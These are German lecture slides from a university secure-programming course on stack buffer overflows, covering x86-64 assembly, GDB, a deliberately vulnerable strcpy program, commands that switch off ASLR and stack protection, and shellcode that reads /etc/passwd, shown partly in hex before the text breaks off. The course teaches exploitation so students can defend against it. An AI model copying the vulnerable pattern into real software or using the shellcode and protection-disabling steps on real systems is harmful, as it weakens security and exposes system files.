Buffer Overflows - Prof. Dr. Christoph Karg

Werbung
Sichere Programmierung
Lerneinheit 2: Buffer Overflows
Prof. Dr. Christoph Karg
Studiengang Informatik
Hochschule Aalen
Sommersemester 2017
9.5.2017
Vorbereitung
Vorbereitung
• Für den praktischen Teil der Vorlesung wird eine Virtuelle
Maschine benötigt.
• Voraussetzung für den Betrieb der Virtuellen Maschine ist ein
64-Bit Betriebssystem mit installierter VirtualBox Software.
• Die Virtuelle Maschine steht über Dropbox zum Download bereit.
• Der Download wird gestartet, indem man auf dieses Wort klickt.
• Das Passwort für den Zugang lautet rae0wahKoo]T.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
2 / 73
Einleitung
Einleitung
Diese Lerneinheit beschäftigt sich mit Buffer Overflows. Folgende
Themen werden bearbeitet:
• Linux für die AMD/Intel 64-Bit Architektur
• Einführung in Assembler
• Debugging mit GDB
• Analyse von C Programmen
• Buffer Overflows
• Erstellen von Shellcode
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
3 / 73
64-Bit Linux für x86 Architektur
64-Bit Linux für die x86 Architektur
• Der Linux Kernel unterstützt seit der Version 2.6 64-Bit
Prozessoren.
• Die 64-Bit Prozessorarchitektur wurde von AMD entwickelt
(AMD64) und von Intel lizenziert.
• Eigenschaften eines 64-Bit Prozessors:
▷ Die Register des Prozessors haben eine Wortlänge von 64
Bit.
▷ Der Prozessor kann Hauptspeicher mit einer Größe von
maximal 264 Byte adressieren.
• 64-Bit Prozessoren von AMD und Intel sind abwärtskompatibel
zu ihren 32- und 16-Bit Vorgängern.
• Alle gängigen Linux Distributionen gibt es in einer 64-Bit Version.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
4 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
x86-64 Prozessoren
• x86-64 (x64 oder AMD64) ist die 64-Bit Version des
Befehlssatzes für x86 Prozessoren.
• x86-64 ist vollständig abwärtskompatibel zu x86-32 und x86-16.
• Ein x86-64 Prozessor besitzt eine Vielzahl von Registern, die für
diverse Aufgaben vorgesehen sind.
• Bei x86-64 Prozessoren handelt es sich um Complex Instruction
Set Computer (CISC), die eine Vielzahl von
Maschinensprachebefehlen beherrschen.
• Intel stellt für seine Prozessoren und die zugehörige Plattform
eine umfangreiche Dokumentation bereit [Int16].
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
5 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
Little-Endian Byte Order
• Intel Prozessoren verwenden zur Darstellung von Zahlen die
Little-Endian Anordnung der Bytes.
• Bei Little-Endian steht das niederwertigste Byte einer Zahl am
Anfang des der Zahl zugeordneten Byteblocks.
• Beispiel: Die Zahl 305419896 (0x12345678) wird beim Datentyp
long (4 Byte) wie folgt im Speicher abgelegt:
0x78
Prof. Dr. C. Karg (HS Aalen)
0x56
0x34
Sichere Programmierung
0x12
Buffer Overflows
6 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
Darstellung des Hauptspeichers
Größste
Adresse
24
16
12
8
Byte Offset
20
4
Byte 3
31
Byte 2
24 23
Byte 1
16 15
Bit Offset
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Byte 0
8 7
0
0
Kleinste
Adresse
Buffer Overflows
7 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
Fundamentale Datentypen
7
0
Byte
0
15
31
63
87
0
High
Byte
Low
Byte
1
0
16 15
0
High Word
Low Word
3
1
2
0
High Doubleword
6
5
Prof. Dr. C. Karg (HS Aalen)
Quadword (8 Byte)
Low Doubleword
4
Doubleword (4 Byte)
0
32 31
7
Word (2 Byte)
3
2
1
Sichere Programmierung
0
Buffer Overflows
8 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
Register eines x86-64 Prozessors
Register zur Ausführung von Programmen:
• General-Purpose Register ⇝ Speicherung von Operanden und
Zeigern
• Segment Register ⇝ Auswahl von Speichersegmenten
• EFLAGS Register ⇝ Abfrage des Status des ausgeführten
Programms und Steuerung des Prozessors
• EIP Register ⇝ Register zur Speicherung der Adresse des
nächsten auszuführenden Maschinensprachebefehls
Weitere Register:
• x87 FPU Register ⇝ Arbeit mit dem arithmetischen Coprozessor
• MMX und XMM Register ⇝ Register für parallele Verarbeitung
von Ganz- und Fließkommazahlen
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
9 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
32-Bit General-Purpose Register
• Im 32-Bit Modus stehen die Register EAX, EBX, ECX, EDX, ESI,
EDI, EBP und ESP zur Verfügung.
• Im 64-Bit Modus stehen die Register RAX, RBX, RCX, RDX,
RSI, RDI, RBP, und RSP sowie R8 bis R15 zur Verfügung.
• In den Registern werden folgende Informationen gespeichert:
▷ Operanden für logische und arithmetische Operationen
▷ Operanden für die Berechnung von Speicheradressen
▷ Zeiger auf Speicheradressen
• Die Register kann man mit verschiedenen Wortlängen verwenden.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
10 / 73
64-Bit Linux für x86 Architektur
x86-64 Prozessoren
Verwendungszweck der Register
• EAX ⇝ Akkumulator für Operanden und Ergebnisse von
Berechnungen
• EBX ⇝ Zeiger auf Daten im DS Segment
• ECX ⇝ Zähler für Stringoperationen und Schleifen
• EDX ⇝ I/O Pointer
• ESI ⇝ Zeiger auf eine String Source
• EDI ⇝ Zeiger auf eine String Destination
• ESP ⇝ Stack Pointer
• EBP ⇝ Zeiger auf Daten im Stack
(Analog für 64-Bit Register)
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
11 / 73
64-Bit Linux für x86 Architektur
System V Application Binary Interface
System V Application Binary Interface
• Das System V Application Binary Interface (ABI) legt eine UNIX
Systemschnittstelle für kompilierte Anwendungssoftware fest
[San97a].
• Das AMD64 ABI ist eine Spezifikation für den Aufbau von
Programmen für die AMD64 Architektur [Hub+13].
• Das AMD64 ABI ist eine Erweiterung/Anpassung des Intel386
ABI [San97b].
• Das ABI wurde für die Programmiersprache C erstellt.
• Es werden unter unterem folgende Punkte standardisiert:
▷ Nutzung der Register für Funktionsaufrufe
▷ Verwaltung des Stacks
▷ Schnittstelle zum Betriebssystem
▷ Aufbau der Objektdateien (ELF Format)
▷ Aufbau von Systembibliotheken
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
12 / 73
64-Bit Linux für x86 Architektur
System V Application Binary Interface
Linux System Calls
• Bei einem Intel 64-Bit System nutzt man System-Calls, um auf
Funktionen des Betriebssystems zuzugreifen.
• Ein System-Call wird mit dem Maschinenbefehl syscall
ausgeführt.
• Die Nummer des auszuführenden System-Calls wird in im
Register RAX gespeichert.
• Die Parameter eines System-Calls werden über die Register RDI,
RSI, RDX, R8, R9 und R10 übergeben.
• Der Rückgabewert des System-Calls befindet sich im Register
RAX.
• Im Linux Kernel sind die System-Calls standardisiert.
• Unter [Cha16] findet man eine Liste aller Systemfunktionen des
Linux 64-Bit Kernels.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
13 / 73
64-Bit Linux für x86 Architektur
Speichermanagement
Speichermanagement
• Bei modernen Betriebssystemen kommt ein virtuelles
Speichermanagement zum Einsatz.
• Jedem Prozess wird ein separater Speicherbereich zugewiesen,
der aus Sicht des Prozesses aus einem zusammenhängenden
Block besteht.
• Die Abbildung auf den physikalischen Speicher übernimmt das
Betriebssystem.
• Der Adressraum eines Speicherbereichs wird aufgeteilt in:
▷ Text Segment ⇝ Speicherung des Programms
▷ Stack Segment ⇝ Speicherung von lokalen Variablen,
Übergabeparametern und Rücksprungadressen
▷ Heap Segment ⇝ Dynamische Speicherverwaltung
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
14 / 73
64-Bit Linux für x86 Architektur
Speichermanagement
Speicherlayout
Wachstum
Programmcode
Wachstum
Dynamische Speicherverwaltung
Stack Segment
Heap Segment
Read Only
0xffffffff
Lokale Variablen,
Übergabeparameter,
Rücksprungadressen
Text Segment
0x00000000
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
15 / 73
64-Bit Linux für x86 Architektur
Speichermanagement
Aufbau eines Stack Frames
8 Byte
Vorheriger Frame
rbp + 8
rbp
rbp − 8
Rücksprungadresse
Alter Wert von rbp
Daten verschiedener Art
(variable Größe)
rsp
Red Zone
rsp − 128
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
16 / 73
64-Bit Linux für x86 Architektur
Speichermanagement
Aufbau eines Stack Frames – Erläuterungen
• Der Stack wächst von der höchsten Adresse in Richtung der
niederwertigsten Adresse.
• Der Stack wird zur Speicherung von Rücksprungadressen,
Funktionsparametern und lokalen Variablen verwendet.
• Bei einem Funktionsaufruf wird ein Stack Frame auf den Stack
gelegt. Beim Beenden der Funktion wird der Frame wieder
entfernt.
• Die im RSP Register gespeicherte Höhe des Stacks muss ein
Vielfaches von 16 sein.
• Unterhalb des aktuellen Stack Frames befindet sich die Red
Zone. Dieser Speicherbereich ist für interne Zwecke“ reserviert.
”
• Weitere Details findet man in [Hub+13].
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
17 / 73
Assemblersprache
Assemblersprache
• Assembler ist eine maschinennahe Programmiersprache, die direkt
auf dem Befehlssatz eines Prozessors aufsetzt.
• Viele Compiler von höheren Programmiersprachen liefern
Assemblercode als Zwischenprodukt.
• Bei Intel Prozessoren gibt es zwei Assembler Varianten:
▷ AT&T Notation ⇝ Einsatz im GNU Assembler
▷ Intel Notation ⇝ Einsatz bei NASM
• Die AT&T und die Intel Notation unterscheiden sich an diversen
Stellen. Weitere Details findet man [Nar07].
• In dieser Lerneinheit wird die Intel Notation verwendet.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
18 / 73
Assemblersprache
Hello World!
Assembler Programm Hello World!“
”
1
2
3
section .data
HelloMsg: db 10,"Hello␣World!" ,10
HelloLen: equ $-HelloMsg
4
5
6
section .text
global _start
7
8
9
10
11
12
13
_start:
mov
mov
mov
mov
syscall
rax ,
rdi ,
rsi ,
rdx ,
1
1
HelloMsg
HelloLen
14
15
16
17
mov
rax , 60
mov
rdi , 0
syscall
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
19 / 73
Assemblersprache
Hello World!
Aufbau des Assembler Programms
• Ein Assembler Programm besteht aus mehreren Abschnitten
(Sections/Segmente).
• Der Abschnitt data enthält statische initialisierte Variablen.
• Der Abschnitt rodata enthält statische initialisierte Konstanten.
• Der Abschnitt text enthält das Programm.
• Der Abschnitt bss enthält statische nicht initialisierte Variablen.
• Neben den genannten existieren noch weitere Abschnitte.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
20 / 73
Assemblersprache
Hello World!
Die Data Sektion
• Die Data Sektion enthält Datenblöcke, die mit den vorgegebenen
Werten initialisiert werden.
• Die Data Sektion ist schreibbar, d.h., die Variablen können vom
Programm geändert werden.
• Die Daten sind anhand ihres Typs initialisierbar:
▷ db ⇝ Folge von Bytes (String)
▷ dw ⇝ Folge von Wörtern (mit je 2 Byte)
▷ dd ⇝ Folge von Doppel-Wörtern (mit je 4 Byte)
• Fließkommazahlen werden automatisch in das passende Format
konvertiert.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
21 / 73
Assemblersprache
Hello World!
Die Text Sektion
•
•
•
•
•
Die Text Sektion enthält das Assemblerprogramm.
Jede Zeile enthält einem Befehl mit zugehörigen Operanden.
Eine Zeile kann mit einer Sprungmarke versehen werden.
Kommentare beginnen mit einem Semikolon (;).
In dieser Lerneinheit wird die Intel Notation verwendet.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
22 / 73
Assemblersprache
Hello World!
Im Programm benutzte System-Calls
System-Call sys_write:
• Funktion: Schreiben von Daten in eine Datei.
• Parameter:
▷ RAX: 1 (Nummer des System-Calls)
▷ RDI: File Descriptor (1 ⇝ stdout)
▷ RSI: Zeiger auf die Daten
▷ RDX: Anzahl der zu schreibenden Bytes
System-Call sys_exit:
• Funktion: Verlassen des Programms.
• Parameter:
▷ RAX: 60 (Nummer des System-Calls)
▷ RDI: Rückgabewert (Fehlercode)
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
23 / 73
Assemblersprache
Hello World!
Übersetzen des Assembler Programms
Folgende Schritte sind zum Ausführen des Programms notwendig:
1. Assemblieren (inklusive Debugging Informationen):
> nasm -f elf64 -F dwarf -g hello64bit.asm
2. Linken:
> ld -o hello64bit hello64bit.o
3. Ausführen:
> ./ hello64bit
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
24 / 73
Assemblersprache
Debugging mit GDB
Debugging mit GDB
• Der GNU Debugger (GDB) ist der Standard-Debugger des GNU
Projekts.
• GDB ist ein kommandozeilenorientiertes Werkzeug.
• GDB wird als Backend in Entwicklungsumgebungen wie z.B.
Eclipse benutzt.
• GDB unterstützt das Debugging von höheren
Programmiersprachen wie C, C++ und Fortran.
• Um Programme zu debuggen, sollte der entsprechende Quellkode
mit Debugging Informationen übersetzt werden.
• Unter [GDB13] findet man umfangreiche Dokumentationen zu
GDB, insbesondere das GDB Handbuch [SPS10].
• Das GDB Cheatsheet beinhaltet die wichtigsten GDB Befehle
[Hai13].
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
25 / 73
Analyse von C Programmen
Analyse von C Programmen
• Die Programmiersprache C ist die bevorzugte Sprache zur
Entwicklung von systemnahen Linux Anwendungen.
• Die C Standardbibliothek stellt eine Vielzahl von Funktionen zur
Arbeit mit dem Betriebssystem zur Verfügung.
• Mit der GNU Compiler Collection (GCC) stehen leistungsfähige
Werkzeuge für die Programmierung in C und C++ zur
Verfügung.
• GCC ist in jeder Linux Distribution enthalten.
• Darüber hinaus gibt es zahlreiche Werkzeuge, um C Programme
und den zugehörigen Binärkode zu analysieren.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
26 / 73
Analyse von C Programmen
Ziel hinter Analyse
Ziel: Analyse der Codeerzeugung des GCC Compilers.
Zu klärende Fragen:
• Wie ist ein von GCC erzeugtes Programm prinzipiell aufgebaut?
• Wie werden lokale Variablen verarbeitet?
• Wie läuft ein Funktionsaufruf ab?
Werkzeuge:
• GCC
• GDB
• Objdump
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
27 / 73
Analyse von C Programmen
Hello World
C Programm Hello World!“
”
Code: helloworld.c
1
#include <stdio.h>
2
3
4
5
6
int main () {
printf("Hello␣World!");
return 0;
}
Übersetzen (mit Debug Infos):
$ gcc -g -c helloworld.c
$ gcc -o helloworld helloworld.o
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
28 / 73
Analyse von C Programmen
Hello World
Analyse der Binärdatei
• Das Werkzeug objdump ist für die Analyse von Binärdateien
vorgesehen.
• Aufruf:
objdump <option(s)> <file(s)>
• Nützliche Parameter:
▷ -d ⇝ Disassemblieren der ausführbaren Teile der Datei
▷ -D ⇝ Disassemblieren der kompletten Datei
▷ -M "intel" ⇝ Ausgabe von Assember in der Intel Notation
▷ -S ⇝ Quellkode mit Assemblerkode kombinieren
▷ -s ⇝ Inhalt aller Abschnitte der Datei ausgeben
▷ -j <section> ⇝ Anzeige des Abschnitts section
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
29 / 73
Analyse von C Programmen
Hello World
Analyse von helloworld
Befehle:
$
$
$
$
objdump -s -j .rodata helloworld.o
objdump -d -M "intel" -S helloworld.o
objdump -d -M "intel" -S helloworld
gdb helloworld
Bemerkungen:
• In der Objektdatei fehlen die korrekten Adressen.
• Die printf-Funktionen wird durch einen Sprungbefehl betreten,
der Code wird beim Linken adressiert.
• Im ausführbaren Programm ist zusätzlicher Code für die Nutzung
der C-Bibliotheken enthalten.
• Die Ausführung von main() ist ein Funktionsaufruf, bei dem ein
Stackframe erzeugt wird.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
30 / 73
Analyse von C Programmen
Kommandozeilenparameter
Übergabe von Kommandozeilenparametern
Code: cmdline.c
1
#include <stdio.h>
2
3
int main( int argc , char *argv [] )
{
4
printf("&argc␣=␣%p\n", &argc );
printf("&argv␣=␣%p\n", &argv );
5
6
7
if( argc == 2 ) {
printf("argv [1]␣=␣%s\n", argv [1]);
}
else {
printf("Bitte␣ein␣Argument␣übergeben .\n");
}
8
9
10
11
12
13
14
}
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
31 / 73
Analyse von C Programmen
Kommandozeilenparameter
Analyse von cmdline
Befehle:
$
$
$
$
objdump -s -j .rodata cmdline.o
objdump -d -M "intel" -S cmdline.o
objdump -d -M "intel" -S cmdline
gdb cmdline
Bemerkungen:
• Die Kommandozeilenparameter werden als ein Array von Strings
übergeben.
• Die Daten befinden sich unten im Stack, unterhalb des ersten
Stack Frames.
• Die Formatierungsstrings des Befehls printf befinden sich im
.rodata Segment.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
32 / 73
Analyse von C Programmen
Lokale Variablen
Lokale Variablen
Code: calc.c
1
#include <stdio.h>
2
3
4
5
6
int main () {
long a=4;
long b=9;
long c = 17*a + ((13-b)/2 * (5+a));
7
printf("a␣=␣%ld ,␣b␣=␣%ld ,␣c␣=␣%ld\n", a, b, c);
return 0;
8
9
10
}
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
33 / 73
Analyse von C Programmen
Lokale Variablen
Analyse von calc
Befehle:
$
$
$
$
objdump -s -j .rodata calc.o
objdump -d -M "intel" -S calc.o
objdump -d -M "intel" -S calc
gdb calc
Bemerkungen:
• Die lokalen Variablen werden im aktuellen Stack Frame
gespeichert.
• Der Compiler optimiert den arithmetischen Ausdruck.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
34 / 73
Analyse von C Programmen
Funktionsaufrufe
Funktionsaufrufe
Code: functioncall.c
1
#include <stdio.h>
2
3
4
5
6
7
int f(int
int
{
int x
int y
a, int b, int c, int d,
e, int f, int g, int h)
= a + b + c + d;
= e + f + g + h;
8
return x+y;
9
10
}
11
12
13
int main () {
int z = f(1,2,3,4,5,6,7,8);
14
printf("z␣=␣%u\n", z);
return 0;
15
16
17
}
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
35 / 73
Analyse von C Programmen
Funktionsaufrufe
Analyse von functioncall
Befehle:
>
>
>
>
objdump -s -j .rodata functioncall.o
objdump -d -M "intel" -S functioncall.o
objdump -d -M "intel" -S functioncall
gdb functioncall
Bemerkungen:
• Die ersten sechs Parameter der Funktion werden über die
Register übergeben.
• Alle weiteren Parameter werden über den Stack übergeben.
• Das Ergebnis des Funktionsaufrufs wird über das RAX Register
zurückgegeben.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
36 / 73
Buffer Overflows
Buffer Overflows
Ziel: Einschleusen und Ausführen von Schadcode über ein kompiliertes
C-Programm.
Beobachtung:
• Wird ein C-Programm ausgeführt, dann befindet sich zu jedem
Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem
Stack.
• Die in einem Stack Frame gespeicherte Rücksprungadresse
befindet sich im Hauptspeicher hinter den lokalen Variablen.
Ansatz: Ausführen eines Buffer Overflows, d.h., Überschreiben der
Rücksprungadresse durch Schreiben einer zu großen Datenmenge in
eine lokale String Variable.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
37 / 73
Buffer Overflows
Herangehensweise
1. Entwicklung eines geeigneten C-Programms
2. Deaktivierung der Sicherheitseinstellungen in Linux
3. Entwicklung eines einfachen Schadkodes
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
38 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Entwicklung eines passenden C-Programms
Vorgaben:
• Das Programm muss eine lokale String Variable besitzen.
• Das Programm muss eine Eingabe des Benutzers in die lokale
Variable kopieren.
• Die Eingabe des Nutzers wird über die Kommandozeile
übergeben.
Umsetzung: ⇝ hackme.c (siehe nächste Folie)
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
39 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Programm hackme.c
Code: hackme.c
1
2
#include <stdio.h>
#include <string.h>
3
4
5
void print(char* s) {
char buffer [200];
6
strcpy(buffer , s);
printf("Anfang␣von␣buffer:␣%p\n", buffer );
printf("Inhalt␣von␣buffer:␣%s\n", buffer );
7
8
9
10
}
11
12
13
14
15
16
17
18
19
int main(int argc , char ** argv) {
if (argc == 2) {
print(argv [1]);
} else {
printf("Bitte␣ein␣Argument␣übergeben .\n");
}
return 0;
}
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
40 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Programm hackme.c (Forts.)
Übersetzen:
> gcc -g -o hackme hackme.c
Bemerkungen:
• Bei der Nutzung der strcpy Funktion wird nicht überprüft, ob
die zu kopierenden Daten in den Buffer passen.
• Idee: Kopiere mehr Daten als der Buffer aufnehmen kann und
analysiere die Auswirkungen.
• Die zu kopierenden Daten werden mit einem Python Skript
erzeugt.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
41 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Idee hinter dem Buffer Overflow
• Beim Aufruf der Funktion print() wird ein neuer Stack Frame
angelegt.
• Im Stack Frame befindet sich der Speicher der lokalen Variable
buffer unterhalb der Rücksprungadresse (siehe nächste Folie).
• Vor Ausführung des strcpy Befehls wird nicht überprüft, ob der
zu kopierende String s eine Länge von höchstens 200 Byte hat.
• Durch einen zu langen String kann man die Rücksprungadresse
überschreiben.
• Enthält dieser String ausführbaren Code und wird die
Rücksprungadresse passend überschrieben, dann wird dieser Code
ausgeführt (siehe übernächste Folie).
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
42 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Idee hinter dem Buffer Overflow (Forts.)
rbp + 8
rbp
rbp − 8
Rücksprungadresse
Alter Wert von rbp
buffer
&buffer
rsp
Red Zone
Stack Frame nach Aufruf von print()
8 Byte
rsp − 128
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
43 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Idee hinter dem Buffer Overflow (Forts.)
rbp + 8
rbp
rbp − 8
Rücksprungadresse
&buffer
Alter Wert von rbp
Shellcode
(mit passendem Padding)
buffer
&buffer
rsp
Red Zone
Stack Frame nach Aufruf von print()
8 Byte
rsp − 128
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
44 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Skript printA.py
Code: printA.py
#! /usr/bin/env python2
import sys
default_size =200
if len(sys.argv)==2:
size=int(sys.argv [1])
if (size <0):
size=default_size
else:
size=default_size
print "A"*size
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
45 / 73
Buffer Overflows
Entwicklung eines passenden C-Programms
Ausführen des Skripts
Benutzung des Skripts:
> hackme `printA.py 200`
Alternativ:
> hackme $(printA.py 200)
Beobachtung:
• Die Adresse von buffer ändert sich mit jedem Aufruf.
• Dies ist ein Indiz, dass im Linux Kernel Address Space Layout
Randomization (ASLR) aktiviert ist.
• ASLR ist eine Schutzfunktion gegen Exploits wie z.B. Buffer
Overflows.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
46 / 73
Buffer Overflows
Deaktivieren von Sicherheitsmechanismen
ASLR deaktivieren
• Der aktuelle Zustand der ASLR Konfiguration kann über die
Datei
/proc/sys/kernel/randomize_va_space
ausgelesen und geändert werden.
• Arten der Randomisierung:
▷ 0 ⇝ ASLR deaktiviert
▷ 1 ⇝ Moderate Randomisierung
▷ 2 ⇝ Komplette Randomisierung
• Befehl zum Deaktivieren von ASLR:
root > echo "0" > /proc/sys/kernel/randomize_va_space
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
47 / 73
Buffer Overflows
Deaktivieren von Sicherheitsmechanismen
Abschalten weiterer Sicherheitsmechanismen
• Der GCC Compiler baut diverse Sicherheitsfunktionen in das
ausführbare Programm ein.
• Beispiele:
▷ Der Stack Protector erkennt Stack Smashing Attacken und
bricht das Programm ab.
▷ Es wird die Ausführung von Code verhindert, der sich im
Stack Segment befindet.
• Diese Sicherheitsfunktionen lassen sich zur Compiler-Optionen
deaktivieren.
Befehl:
> gcc -g -fno -stack -protector -z execstack -o hackme hackme.c
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
48 / 73
Buffer Overflows
Shellcode
Entwicklung des Shellcode
• Ein Shellcode ist ein kleines Assembler Code Fragment.
• Ursprünglich wurde Shellcode verwendet, um eine Shell mit Root
Zugriff zu starten.
• Ein Shellcode darf keine Null Bytes enthalten, da er als String
übertragen wird.
• Da ein Shellcode über Umwege“ ausgeführt wird, müssen die
”
Daten geschickt bereitgestellt werden.
• Eine der ersten Anleitungen zur Erstellung von Shellcodes
stammt von AlephOne [One96].
• Dieser Teil der Vorlesung basiert auf der Anleitung von
Mr. Un1k0d3r [Un114].
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
49 / 73
Buffer Overflows
Shellcode
Aufbau des Shellcodes
1
2
3
4
BITS 64
; Author Mr. Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
5
6
global _start
7
8
section .text
9
10
11
_start:
jmp _push_filename
12
13
14
15
16
17
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
50 / 73
Buffer Overflows
Shellcode
Aufbau des Shellcodes (Forts.)
19
20
21
22
xor rax ,rax
add al ,2
xor rsi ,rsi ; set 0_RDONLY flag
syscall
23
24
25
26
27
28
29
30
31
; syscall read file
sub sp ,0 xfff
lea rsi ,[rsp]
mov rdi ,rax
xor rdx ,rdx
mov dx ,0 xfff ; size to read
xor rax ,rax
syscall
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
51 / 73
Buffer Overflows
Shellcode
Aufbau des Shellcodes (Forts.)
33
34
35
36
37
38
39
; syscall write to stdout
xor rdi ,rdi
add dil ,1
; set stdout fd = 1
mov rdx ,rax
xor rax ,rax
add al ,1
syscall
40
41
42
43
44
; syscall exit
xor rax ,rax
add al ,60
syscall
45
46
47
48
_push_filename:
call _readfile
path: db "/etc/passwdA"
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
52 / 73
Buffer Overflows
Shellcode
Analyse des Shellcodes
• Der Shellcode gibt den Inhalt der Datei /etc/password aus.
• Der Code teilt sich in fünf Teile auf:
1. Berechnung der Adresse, ab der der Dateiname gespeichert
ist (Zeilen 10–11, 46–48, 11)
2. Öffnen der Datei (Zeilen 14–22)
3. Auslesen der Datei (Zeilen 25–31)
4. Ausgabe der Datei (Zeilen 33–39)
5. Beenden des Programms (Zeilen 41–44)
• Es kommen mehrere System Calls zum Einsatz.
• Die Adresse des Datenblocks wird über den Stack
(Rücksprungadresse) ermittelt.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
53 / 73
Buffer Overflows
Shellcode
Übersetzen des Shellcodes (Variante 1)
1. Assemblierung des Shellcodes:
> nasm -f elf64 un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.o
2. Extrahieren des Shellcodes und Ausgabe als String:
> for i in $(objdump -d un1k0d3r -shellcode.o \
| grep "^␣" | cut -f2); do \
echo -n '\x'$i; done; echo
Hinweis: Nach dem Backslash muss <Enter> eingegeben
werden. Alternativ kann man den kompletten Befehl auch in eine
Zeile schreiben.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
54 / 73
Buffer Overflows
Shellcode
Übersetzen des Shellcodes (Variante 2)
1. Assemblierung des Shellcodes:
> nasm -f bin un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.bin
2. Ausgabe des Shellcodes:
> dumpshellcode.py un1k0d3r -shellcode.bin
Bemerkungen:
• Das Python Skript befindet sich auf der nächsten Folie.
• Bei dieser Variante liegt der Shellcode in binärer Form vor und
kann auf verschiedene Arten weiter verarbeitet werden.
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
55 / 73
Buffer Overflows
Shellcode
Skript dumpshellcode.py
#! /usr/bin/env python2
import sys
if len(sys.argv)!=2:
print "Usage:", sys.argv [0], "<filename >"
sys.exit (1)
f=open(sys.argv [1], "r")
shellcode=bytearray(f.read ())
f.close ()
s=""
for b
s
print
print
in shellcode:
+= "\\x{0:02x}".format(b)
s
"\nShellcode␣length:", len(shellcode), "Byte"
Prof. Dr. C. Karg (HS Aalen)
Sichere Programmierung
Buffer Overflows
56 / 73
Buffer Overflows
Shellcode
Ergebnis
Shellcode:
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02
\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d
